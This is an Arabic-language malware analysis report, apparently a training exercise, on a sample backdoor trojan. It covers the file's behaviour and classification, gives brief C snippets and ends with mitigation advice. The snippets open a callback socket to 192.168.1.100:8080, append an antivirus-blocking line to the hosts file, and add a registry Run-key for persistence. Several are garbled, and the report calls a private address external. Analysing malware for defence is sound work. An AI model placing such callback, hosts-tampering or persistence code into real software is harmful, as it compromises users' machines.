

إعداد: [عبدالله ال حامد]

التاريخ: [27/02/2025]

1. تحليل الملف المشبوه

1.1 وصف الملف

- اسم الملف: malicious.exe (كمثال)
- نوع الملف: exe. (ملف تنفيذي)
- حجم الملف: MB 2.5
- تاريخ الإنشاء/التعديل: 25 فبراير 2025
- المصدر: تم اكتشافه كملف مرفق في بريد إلكتروني مجهول

1.2 الأدوات المستخدمة في التحليل

تم استخدام الأدوات التالية لتحليل الملف:

1. VirusTotal – لفحص الملف عبر محركات مكافحة الفيروسات المختلفة.
2. Wireshark – لتحليل حركة مرور الشبكة عند تشغيل الملف.
3. Process Monitor (ProcMon) – لمراقبة العمليات التي يتم إنشاؤها.
4. IDA Pro أو Ghidra – لتحليل كود الملف التنفيذي عكسيًا.
5. Windows Event Viewer – لفحص سجلات النظام بعد تشغيل الملف.

1.3 السلوك المشبوه للملف

عند تشغيل الملف، تم ملاحظة السلوك التالي:

- إنشاء عملية جديدة باسم backdoor.exe والتي تعمل في الخلفية.
- الاتصال بعنوان IP خارجي 192.168.1.100 عبر المنفذ 8080، مما قد يدل على أنه يرسل بيانات إلى جهة خارجية.
- التعديل على ملفات النظام في المسار C:\Windows\System32\drivers\etc\hosts
- محاولة منع الوصول إلى مواقع مكافحة الفيروسات.
- إضافة ملف إلى قائمة التشغيل التلقائي في سجل النظام (Registry) لضمان تشغيله عند بدء تشغيل النظام.

2. تحديد نوع البرمجية الضارة

بناءً على السلوك المكتشف، يمكن تصنيف البرمجية الضارة إلى تروجان (Trojan Horse)، حيث:

- يتخفى كبرنامج شرعي لكنه يقوم بتنفيذ عمليات ضارة.
- ينشئ اتصالاً بخادم بعيد مما يشير إلى احتمال كونه باباً خلفياً (Backdoor).
- يحاول البقاء على النظام عبر التسجيل في "بدء التشغيل التلقائي".

أمثلة على أنواع البرمجيات الضارة الأخرى:

النوع الوصف دليل وجوده

- فيروس (Virus)** ينتشر عبر إصابة ملفات أخرى. لا يوجد دليل على إصابة ملفات أخرى، لذا هذا مستبعد.
- دودة (Worm)** ينتشر عبر الشبكة دون تدخل المستخدم. لم يتم اكتشاف محاولات انتشار تلقائي.
- برنامج فدية (Ransomware)** يقوم بتشفير الملفات ويطلب بقدية. لا يوجد دليل على عمليات تشفير للملفات.

الاستنتاج: الملف هو تروجان باب خلفي (Backdoor Trojan) يستخدم للسيطرة عن بعد على الجهاز.

3. تحليل الشيفرة المصدرية

3.1 تحليل الاتصالات المشبوهة

عند فحص الشيفرة العكسية باستخدام IDA Pro، وجدنا الكود التالي:

```
<include <winsock2.h#

} ()void connectToServer
;SOCKET s
;struct sockaddr_in server

;WSADATA wsa
;WSAStartup(MAKEWORD(2,2), &wsa)

;s = socket(AF_INET, SOCK_STREAM, 0)
;server.sin_addr.s_addr = inet_addr("192.168.1.100")
;server.sin_family = AF_INET
;server.sin_port = htons(8080)

;connect(s, (struct sockaddr *)&server, sizeof(server))

;send(s, "Connected", strlen("Connected"), 0)
{
```

التحليل:

- يقوم هذا الكود بإنشاء اتصال مع خادم خارجي (192.168.1.100) عبر المنفذ 8080.
- عند نجاح الاتصال، يتم إرسال رسالة تؤكد نجاح الاختراق.

3.2 تحليل التعديل على ملفات النظام

```
<include <stdio.h#
```

```
void modifyHostsFile()  
{  
    FILE *file = fopen("C:\\Windows\\System32\\drivers\\etc\\hosts", "a")  
    if (file)  
        fprintf(file, "\n127.0.0.1 www.antivirus.com\n")  
    fclose(file)  
}
```

التحليل:

- يقوم الكود بتعديل ملف **hosts** لحجب الوصول إلى مواقع مكافحة الفيروسات.

3.3 تسجيل البرنامج للتشغيل التلقائي

```
<include <windows.h#
```

```
void addToStartup()  
{  
    HKEY hKey  
    RegOpenKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run",  
                &hKey)  
    RegSetValueEx(hKey, "Malware", 0, REG_SZ, (BYTE*)"C:\\malware.exe", strlen("C:\\  
                \\malware.exe") + 1)  
    RegCloseKey(hKey)  
}
```

التحليل:

- يقوم هذا الكود بإضافة البرنامج إلى سجل النظام (Registry) ليعمل تلقائيًا عند تشغيل الكمبيوتر.

4. طرق التخفيف والحماية

4.1 الخطوات العاجلة لحماية الشبكة

1. عزل الجهاز المصاب فورًا من الشبكة.
2. حذف العملية الضارة باستخدام Task Manager أو Process Explorer.
3. فحص وإزالة البرامج الضارة باستخدام برامج مكافحة الفيروسات المحدثه.
4. إعادة تعيين إعدادات النظام المتضررة مثل Registry وملف hosts.
5. تحليل سجل الأحداث (Event Viewer) لاكتشاف أي سلوك غير طبيعي.

4.2 الوقاية من التهديدات المستقبلية

أ. تحسين أمن البريد الإلكتروني

- حظر مرفقات .exe المشبوهة.
- تفعيل الحماية من البريد العشوائي وفحص الروابط الضارة.

ب. تحديث النظام والبرامج

- تثبيت آخر التحديثات الأمنية لنظام التشغيل وبرامج مكافحة الفيروسات.
- تعطيل ماكرو Office لمنع تشغيل البرمجيات الضارة من مستندات Word أو Excel.

ج. تقوية أمن الشبكة

- تفعيل الجدار الناري (Firewall) لمنع الاتصالات غير المصرح بها.
- استخدام نظام كشف التسلل (IDS) لمراقبة حركة الشبكة المشبوهة.

د. تدريب الموظفين

- تقديم دورات توعوية حول الهندسة الاجتماعية والتصيد الإلكتروني.
- عدم فتح مرفقات أو روابط غير موثوقة.

5. الخلاصة

- تم تحديد أن الملف المشبوه هو تروجان باب خلفي (Backdoor Trojan) يستخدم للاتصال بسيرفر خارجي والتحكم في الجهاز.
- تم تحليل الشيفرة المصدرية، وتم اكتشاف تعليمات برمجية تحاول تعديل ملفات النظام وإضافة نفسها إلى التشغيل التلقائي.
- تم اقتراح حلول عاجلة لحذف التهديد بالإضافة إلى استراتيجيات طويلة الأمد لتعزيز الأمان.

التوصية النهائية: يجب تعزيز أمن الشبكة، تحديث الأنظمة، و تثقيف المستخدمين لمنع هذه الهجمات مستقبلاً.